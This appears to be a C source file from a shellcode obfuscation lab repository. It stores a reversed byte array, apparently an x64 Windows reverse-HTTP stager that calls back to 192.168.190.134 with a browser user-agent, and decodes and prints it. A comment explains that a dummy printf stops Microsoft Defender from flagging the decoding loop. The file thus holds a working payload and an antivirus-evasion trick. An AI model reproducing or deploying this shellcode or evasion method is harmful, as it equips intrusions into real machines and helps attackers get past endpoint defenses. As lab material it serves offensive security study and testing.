mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
39 lines
4.8 KiB
C
39 lines
4.8 KiB
C
#include <windows.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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int main(void) {
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char reversed_payload [711] = {0xd5, 0xff, 0x56, 0xa2, 0xb5, 0xf0, 0xc2, 0xc7, 0x49, 0x59, 0x0, 0x6a, 0x58, 0xc3, 0x58, 0xd2, 0x75, 0xc0, 0x85, 0xc3, 0x1, 0x48, 0x7, 0x8b, 0x66, 0xb2, 0x74, 0xc0, 0x85, 0x20, 0xc4, 0x83, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe2, 0x89, 0x96, 0x12, 0xba, 0x49, 0xf9, 0x89, 0x49, 0x0, 0x0, 0x20, 0x0, 0xc0, 0xc7, 0x49, 0xda, 0x89, 0x48, 0xf1, 0x89, 0x48, 0xe7, 0x89, 0x48, 0x53, 0x53, 0x93, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe5, 0x53, 0xa4, 0x58, 0xba, 0x49, 0x0, 0x0, 0x10, 0x0, 0xc0, 0xc7, 0x49, 0x10, 0xe2, 0xc1, 0xd1, 0x89, 0x49, 0x5a, 0x40, 0x6a, 0x59, 0x53, 0x0, 0x0, 0x0, 0x55, 0xe8, 0xcc, 0xeb, 0x2, 0x74, 0xcf, 0xff, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe0, 0x35, 0xf0, 0x44, 0xba, 0x49, 0x0, 0x0, 0x13, 0x88, 0xc1, 0xc7, 0x48, 0x1f, 0x75, 0xc0, 0x85, 0xd5, 0xff, 0x7b, 0x18, 0x6, 0x2d, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc9, 0x31, 0x4d, 0xf1, 0x89, 0x48, 0x5a, 0x53, 0x5f, 0xa, 0x6a, 0xc6, 0x89, 0x48, 0xd5, 0xff, 0x3b, 0x2e, 0x55, 0xeb, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0x50, 0x0, 0x0, 0x0, 0x0, 0x84, 0x28, 0x2, 0x0, 0xb8, 0x48, 0x53, 0xc9, 0x31, 0x4d, 0x58, 0x41, 0x5a, 0x53, 0xc1, 0x89, 0x48, 0x0, 0x2d, 0x75, 0x78, 0x76, 0x71, 0x6e, 0x4f, 0x4a, 0x54, 0x41, 0x69, 0x52, 0x31, 0x62, 0x56, 0x71, 0x35, 0x58, 0x41, 0x51, 0x74, 0x62, 0x46, 0x39, 0x39, 0x74, 0x50, 0x44, 0x66, 0x58, 0x6a, 0x6c, 0x31, 0x65, 0x74, 0x4d, 0x53, 0x32, 0x42, 0x61, 0x47, 0x5f, 0x37, 0x38, 0x34, 0x6b, 0x69, 0x6e, 0x6c, 0x5f, 0x6a, 0x77, 0x50, 0x42, 0x41, 0x73, 0x70, 0x75, 0x5f, 0x4d, 0x37, 0x4f, 0x7a, 0x6d, 0x63, 0x72, 0x4e, 0x52, 0x59, 0x69, 0x44, 0x77, 0x75, 0x2f, 0x0, 0x0, 0x0, 0x4b, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xc6, 0x9f, 0x89, 0x57, 0xba, 0x49, 0x53, 0x3, 0x6a, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0x0, 0x0, 0x0, 0x50, 0xc0, 0xc7, 0x49, 0xc1, 0x89, 0x48, 0x5a, 0x0, 0x34, 0x33, 0x31, 0x2e, 0x30, 0x39, 0x31, 0x2e, 0x38, 0x36, 0x31, 0x2e, 0x32, 0x39, 0x31, 0x0, 0x0, 0x0, 0x10, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xa7, 0x79, 0x56, 0x3a, 0xba, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc0, 0x31, 0x4d, 0x5a, 0x53, 0x59, 0x0, 0x36, 0x33, 0x2e, 0x37, 0x33, 0x35, 0x2f, 0x69, 0x72, 0x61, 0x66, 0x61, 0x53, 0x20, 0x30, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x33, 0x31, 0x2f, 0x65, 0x6d, 0x6f, 0x72, 0x68, 0x43, 0x20, 0x29, 0x6f, 0x6b, 0x63, 0x65, 0x47, 0x20, 0x65, 0x6b, 0x69, 0x6c, 0x20, 0x2c, 0x4c, 0x4d, 0x54, 0x48, 0x4b, 0x28, 0x20, 0x36, 0x33, 0x2e, 0x37, 0x33, 0x35, 0x2f, 0x74, 0x69, 0x4b, 0x62, 0x65, 0x57, 0x65, 0x6c, 0x70, 0x70, 0x41, 0x20, 0x29, 0x34, 0x36, 0x78, 0x20, 0x3b, 0x34, 0x36, 0x6e, 0x69, 0x57, 0x20, 0x3b, 0x30, 0x2e, 0x30, 0x31, 0x20, 0x54, 0x4e, 0x20, 0x73, 0x77, 0x6f, 0x64, 0x6e, 0x69, 0x57, 0x28, 0x20, 0x30, 0x2e, 0x35, 0x2f, 0x61, 0x6c, 0x6c, 0x69, 0x7a, 0x6f, 0x4d, 0x0, 0x0, 0x0, 0x70, 0xe8, 0x53, 0x53, 0xd5, 0xff, 0x7, 0x26, 0x77, 0x4c, 0xc2, 0xc7, 0x49, 0xe1, 0x89, 0x48, 0x56, 0x41, 0x0, 0x74, 0x65, 0x6e, 0x69, 0x6e, 0x69, 0x77, 0xbe, 0x49, 0x53, 0xdb, 0x31, 0x48, 0x5d, 0xff, 0xff, 0xff, 0x4b, 0xe9, 0x12, 0x8b, 0x48, 0x5a, 0x59, 0x41, 0x58, 0xe0, 0xff, 0x52, 0x41, 0x20, 0xec, 0x83, 0x48, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5a, 0x59, 0x5e, 0xd0, 0x1, 0x48, 0x58, 0x41, 0x58, 0x41, 0x88, 0x4, 0x8b, 0x41, 0xd0, 0x1, 0x49, 0x1c, 0x40, 0x8b, 0x44, 0x48, 0xc, 0x8b, 0x41, 0x66, 0xd0, 0x1, 0x49, 0x24, 0x40, 0x8b, 0x44, 0x58, 0xd8, 0x75, 0xd1, 0x39, 0x45, 0x8, 0x24, 0x4c, 0x3, 0x4c, 0xf1, 0x75, 0xe0, 0x38, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0xac, 0xc0, 0x31, 0x48, 0xd6, 0x1, 0x48, 0xc9, 0x31, 0x4d, 0x88, 0x34, 0x8b, 0x41, 0xc9, 0xff, 0x48, 0x56, 0xe3, 0x50, 0x18, 0x48, 0x8b, 0xd0, 0x1, 0x49, 0x20, 0x40, 0x8b, 0x44, 0xd0, 0x1, 0x48, 0x67, 0x74, 0xc0, 0x85, 0x48, 0x0, 0x0, 0x0, 0x88, 0x80, 0x8b, 0x0, 0x0, 0x0, 0x72, 0x85, 0xf, 0x2, 0xb, 0x18, 0x78, 0x81, 0x66, 0xd0, 0x1, 0x48, 0x51, 0x41, 0x3c, 0x42, 0x8b, 0x20, 0x52, 0x8b, 0x48, 0x52, 0xed, 0xe2, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0x20, 0x2c, 0x2, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x48, 0xc9, 0x31, 0x4d, 0x50, 0x72, 0x8b, 0x48, 0x4a, 0x4a, 0xb7, 0xf, 0x48, 0x56, 0x51, 0x20, 0x52, 0x8b, 0x48, 0x18, 0x52, 0x8b, 0x48, 0x60, 0x52, 0x8b, 0x48, 0x65, 0xd2, 0x31, 0x48, 0x52, 0x50, 0x41, 0x51, 0x41, 0x0, 0x0, 0x0, 0xcc, 0xe8, 0xf0, 0xe4, 0x83, 0x48, 0xfc};
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char shellcode[sizeof(reversed_payload)] = { 0 };
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// reverse our array of ints
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for (int i = 0; i < sizeof(reversed_payload); i++)
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{
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printf(""); // defender fires an alert on this routine without this ¯\_(ツ)_/¯
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shellcode[i] = reversed_payload[sizeof(reversed_payload) - i - 1];
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}
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int idx = 0;
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while ( idx < sizeof(reversed_payload))
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{
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if (idx == (sizeof(reversed_payload) - 1) )
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{
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printf("0x%02x ", (unsigned char)shellcode[idx]);
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}
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else
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{
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printf("0x%02x, ", (unsigned char)shellcode[idx]);
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}
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idx++;
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}
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return 0;
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}
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